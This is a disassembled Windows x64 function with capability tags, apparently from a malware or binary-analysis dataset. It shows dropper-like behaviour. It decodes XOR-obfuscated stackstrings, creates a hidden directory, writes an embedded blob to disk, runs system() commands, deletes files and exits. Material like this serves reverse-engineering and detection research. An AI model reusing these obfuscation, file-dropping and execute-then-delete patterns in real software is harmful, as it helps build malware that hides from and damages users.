Function at 0x140037940
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Encode data using xor
Execute command
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140056010]
xor rax, rsp
mov qword [rbp + 0x1f8], rax
call fcn.14002edd0
test al, al
jne 0x14003859f
mov dword [rsp + 0x40], 0x99a8bfbb
mov dword [rsp + 0x44], 0x6396888f
mov dword [rsp + 0x48], 0x7c662c64
mov word [rsp + 0x4c], 0x60
mov byte [rsp + 0x4e], 1
xor ebx, ebx
mov ecx, ebx
lea eax, [rcx - 7]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xd
jb 0x1400379a0
mov byte [rsp + 0x4e], bl
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 0xf
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x1400379d4
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.14003f740
lea rcx, [rsp + 0x70]
call fcn.140037300
mov rcx, rbx
test eax, eax
je 0x140037ac7
movdqa xmm0, xmmword [0x14004c270]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14004d560]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14004c1f0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14004d4d0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14004c2f0]
movdqa xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x20], 0x67
mov byte [rbp - 0x1e], 1
nop dword [rax]
lea eax, [rcx - 7]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0x51
jb 0x140037a50
mov byte [rbp - 0x1e], bl
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140041e90
mov rcx, rax
lea rdx, [0x140042060]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x58], 0x8f8e9b89
mov word [rsp + 0x5c], 0x98
mov byte [rsp + 0x5e], 1
nop word [rax + rax]
lea eax, [rbx - 7]
xor byte [rsp + rbx + 0x58], al
inc rbx
cmp rbx, 5
jb 0x140037aa0
mov byte [rsp + 0x5e], 0
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x1400385a1
movdqa xmm0, xmmword [0x14004d5c0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x6c
mov byte [rsp + 0x52], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 7]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x11
jb 0x140037af0
mov byte [rsp + 0x52], bl
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 0xf
lea rax, [rsp + 0x40]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140037b20
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.14003f740
lea rcx, [rsp + 0x70]
call fcn.140037300
mov rcx, rbx
test eax, eax
je 0x140037c05
movdqa xmm0, xmmword [0x14004c280]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14004d510]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14004d430]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14004d4a0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14004c250]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x292f2b26
mov dword [rbp - 0x1c], 0x100603f
nop dword [rax]
lea eax, [rcx - 7]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0x56
jb 0x140037ba0
mov byte [rbp - 0x19], bl
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140041e90
mov rcx, rax
lea rdx, [0x140042060]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x58], 0x8f8e9b89
mov word [rsp + 0x5c], 0x98
mov byte [rsp + 0x5e], 1
nop word [rax + rax]
lea eax, [rbx - 7]
xor byte [rsp + rbx + 0x58], al
inc rbx
cmp rbx, 5
jb 0x140037bf0
jmp 0x140037ab0
movdqa xmm0, xmmword [0x14004d440]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x746e245a
mov word [rsp + 0x54], 0x68
mov byte [rsp + 0x56], 1
nop word [rax + rax]
lea eax, [rcx - 7]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x15
jb 0x140037c30
mov byte [rsp + 0x56], bl
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 0xf
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x140037c60
mov r8, rdi
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.14003f740
lea rcx, [rsp + 0x70]
call fcn.140037300
test eax, eax
je 0x140037d55
movdqa xmm0, xmmword [0x14004c290]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14004d510]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14004d4c0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [str._tXBCGAW]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14004c310]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x206b2f21
mov dword [rbp - 0x1c], 0x352b2f22
mov dword [rbp - 0x18], 0x1007c23
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 7]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0x5a
jb 0x140037cf0
mov byte [rbp - 0x15], bl
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140041e90
mov rcx, rax
lea rdx, [0x140042060]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x58], 0x8f8e9b89
mov word [rsp + 0x5c], 0x98
mov byte [rsp + 0x5e], 1
nop word [rax + rax]
lea eax, [rbx - 7]
xor byte [rsp + rbx + 0x58], al
inc rbx
cmp rbx, 5
jb 0x140037d40
jmp 0x140037ab0
mov dword [rsp + 0x60], 0x100c0ba
lea rcx, [rsp + 0x60]
call fcn.140037120
mov rdx, rax
lea rcx, [0x14015e120]
call fcn.14003f0f0
call fcn.14002c5d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edi, 0xa
nop dword [rax]
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e160]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e2f8]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e060]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e040]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e0c0]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e1e8]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e1c8]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e180]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e208]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e0e0]
call fcn.14003f0a0
call fcn.140037150
movzx edx, al
lea rcx, [0x14015e238]
call fcn.14003f0a0
sub rdi, 1
jne 0x140037d90
lea rcx, [rbp + 0x138]
call fcn.14003f260
nop
lea rcx, [rbp + 0x158]
call fcn.14003f260
nop
lea edx, [rdi + 0xa]
lea ecx, [rdi + 5]
call fcn.140031be0
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140036ed0
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.14003f190
lea rcx, [rsp + 0x70]
call fcn.14003f130
lea edx, [rdi + 6]
lea ecx, [rdi + 2]
call fcn.140031be0
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140036fa0
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.14003f190
lea rcx, [rsp + 0x70]
call fcn.14003f130
mov word [rsp + 0x60], 0xa5
mov byte [rsp + 0x62], 1
lea rcx, [rsp + 0x60]
call fcn.140037860
mov rdx, rax
lea rcx, [0x14015e120]
call fcn.14003f0f0
lea rdx, [rbp + 0x138]
lea rcx, [0x14015e120]
call fcn.14003f110
lea rdx, [rbp + 0x158]
lea rcx, [0x14015e120]
call fcn.14003f110
lea rcx, [0x14015e120]
call fcn.14003f090
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [0x14015e120]
call fcn.14003f090
mov rcx, rax
lea edx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x60], 0xa5
mov byte [rsp + 0x62], 1
lea rcx, [rsp + 0x60]
call fcn.140037860
mov rdx, rax
lea rcx, [0x14015e120]
call fcn.14003f0f0
lea rcx, [rbp + 0xb8]
call fcn.14003f260
nop
lea rdx, [0x14015e238]
lea rcx, [rbp + 0xb8]
call fcn.14003f110
mov dword [rsp + 0x68], 0x8f8289d7
mov word [rsp + 0x6c], 0x100
lea rcx, [rsp + 0x68]
call fcn.140037880
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.14003f0f0
lea rcx, [rbp + 0xd8]
call fcn.14003f260
nop
lea rdx, [0x14015e160]
lea rcx, [rbp + 0xd8]
call fcn.14003f110
mov dword [rsp + 0x68], 0x99839fd7
mov word [rsp + 0x6c], 0x100
lea rcx, [rsp + 0x68]
call fcn.140037880
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.14003f0f0
lea r8, [rbp + 0xb8]
lea rcx, [rbp + 0x78]
call fcn.1400420a0
nop
lea rcx, [rbp + 0x78]
call fcn.14003f090
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xd8]
lea rcx, [rbp + 0x1b8]
call fcn.1400420a0
nop
lea rcx, [rbp + 0x1b8]
call fcn.14003f090
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x112a0
mov ecx, 0x2840
call fcn.140031be0
lea rcx, [rbp + 0x78]
call fcn.14003f090
mov rcx, rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov r8d, 0x2840
lea rdx, [0x14013ba90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x78]
call fcn.14003f090
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x58]
call fcn.14003f260
nop
mov dword [rsp + 0x40], 0x9fdb998a
mov dword [rsp + 0x44], 0x749e9b8f
mov dword [rsp + 0x48], 0x1002264
lea rcx, [rsp + 0x40]
call fcn.140036c50
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.14003f0f0
lea rdx, [0x14015e258]
lea rcx, [rbp + 0x58]
call fcn.14003f110
mov dword [rsp + 0x40], 0x929298d9
mov dword [rsp + 0x44], 0x688b9f8d
mov dword [rsp + 0x48], 0x100223c
lea rcx, [rsp + 0x40]
call fcn.140036c50
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.14003f0f0
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x58]
call fcn.14003f110
mov dword [rsp + 0x40], 0x8c828ed9
mov dword [rsp + 0x44], 0x6bdfc398
mov dword [rsp + 0x48], 0x616d7064
mov word [rsp + 0x4c], 0x69
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140037800
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.14003f0f0
mov dword [rsp + 0x40], 0x8fdb998a
mov dword [rsp + 0x44], 0x208f9189
mov dword [rsp + 0x48], 0x61606367
mov dword [rsp + 0x4c], 0x100726c
lea rcx, [rsp + 0x40]
call fcn.1400378b0
mov rcx, rax
call fcn.140037070
movdqa xmm0, xmmword [0x14004d620]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140031ad0
mov rcx, rax
call fcn.140037070
mov dword [rsp + 0x40], 0x8fdb998a
mov dword [rsp + 0x44], 0x208f9189
mov dword [rsp + 0x48], 0x686577
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140035f40
mov rcx, rax
call fcn.140037070
mov dword [rsp + 0x40], 0x98db998a
mov dword [rsp + 0x44], 0x749a9298
mov dword [rsp + 0x48], 0x63752264
mov word [rsp + 0x4c], 0x6e
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140037800
mov rcx, rax
call fcn.140037070
lea rcx, [rbp + 0xf8]
call fcn.14003f260
nop
mov dword [rsp + 0x40], 0x8fdb998a
mov dword [rsp + 0x44], 0x208f9189
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400378e0
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.14003f0f0
lea rdx, [0x14015e258]
lea rcx, [rbp + 0xf8]
call fcn.14003f110
lea rcx, [rbp + 0x118]
call fcn.14003f260
nop
mov dword [rsp + 0x40], 0x98db998a
mov dword [rsp + 0x44], 0x749a9298
mov dword [rsp + 0x48], 0x1002264
lea rcx, [rsp + 0x40]
call fcn.140036c50
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.14003f0f0
lea rdx, [0x14015e258]
lea rcx, [rbp + 0x118]
call fcn.14003f110
lea rcx, [rbp + 0x178]
call fcn.14003f260
nop
mov dword [rsp + 0x40], 0x8fdb998a
mov dword [rsp + 0x44], 0x748d9f89
mov word [rsp + 0x48], 0x21
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.140031aa0
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.14003f0f0
lea rdx, [0x14015e258]
lea rcx, [rbp + 0x178]
call fcn.14003f110
lea rcx, [rbp + 0xf8]
call fcn.14003f090
mov rcx, rax
call fcn.140037070
lea rcx, [rbp + 0x118]
call fcn.14003f090
mov rcx, rax
call fcn.140037070
mov edx, 0xf
lea ecx, [rdx - 0xa]
call fcn.140031be0
mov edx, eax
lea rcx, [rbp + 0x198]
call fcn.140031d10
nop
mov dword [rsp + 0x60], 0xa7c0ba
mov byte [rsp + 0x64], 1
lea rcx, [rsp + 0x60]
call fcn.140037910
mov rdx, rax
lea r8, [rbp + 0x198]
lea rcx, [rsp + 0x70]
call fcn.1400418d0
mov r9, rax
mov dword [rsp + 0x58], 0x99839fd7
mov word [rsp + 0x5c], 0x100
lea rcx, [rsp + 0x58]
call fcn.140037880
mov r8, rax
mov rdx, r9
lea rcx, [rbp + 0x98]
call fcn.140041940
nop
lea rcx, [rsp + 0x70]
call fcn.14003f130
mov dword [rsp + 0x68], 0xa7c0ba
mov byte [rsp + 0x6c], 1
lea rcx, [rsp + 0x68]
call fcn.140037910
mov rdx, rax
lea r8, [rbp + 0x198]
lea rcx, [rbp + 0x10]
call fcn.1400418d0
mov r9, rax
mov dword [rsp + 0x40], 0x99839fd7
mov word [rsp + 0x44], 0xdd
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140037830
mov r8, rax
mov rdx, r9
lea rcx, [rbp - 0x10]
call fcn.140041940
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.14003f090
mov r8, rax
lea rcx, [rbp + 0x1d8]
call fcn.140041940
nop
lea rcx, [rbp - 0x10]
call fcn.14003f130
nop
lea rcx, [rbp + 0x10]
call fcn.14003f130
lea rcx, [rbp + 0x98]
call fcn.140035fd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x98]
call fcn.140035fd0
mov rcx, rax
call fcn.140036040
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1d8]
call fcn.140035fd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x98]
call fcn.140035fd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x98]
call fcn.140035fd0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1b8]
call fcn.14003f090
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 7
lea rcx, [rbp + 0x30]
call fcn.140031d10
movdqa xmm0, xmmword [str.X9O_E]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0xc7e8b3d8
mov dword [rbp - 0x7c], 0xd3abe6cc
mov dword [rbp - 0x78], 0x32a8c0
mov byte [rbp - 0x74], 1
mov rcx, rax
call fcn.14003f090
mov r8, rax
lea rcx, [rsp + 0x70]
call fcn.1400360d0
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x30]
call fcn.14003f130
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x1f8]
xor rcx, rsp
call fcn.140043b20
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret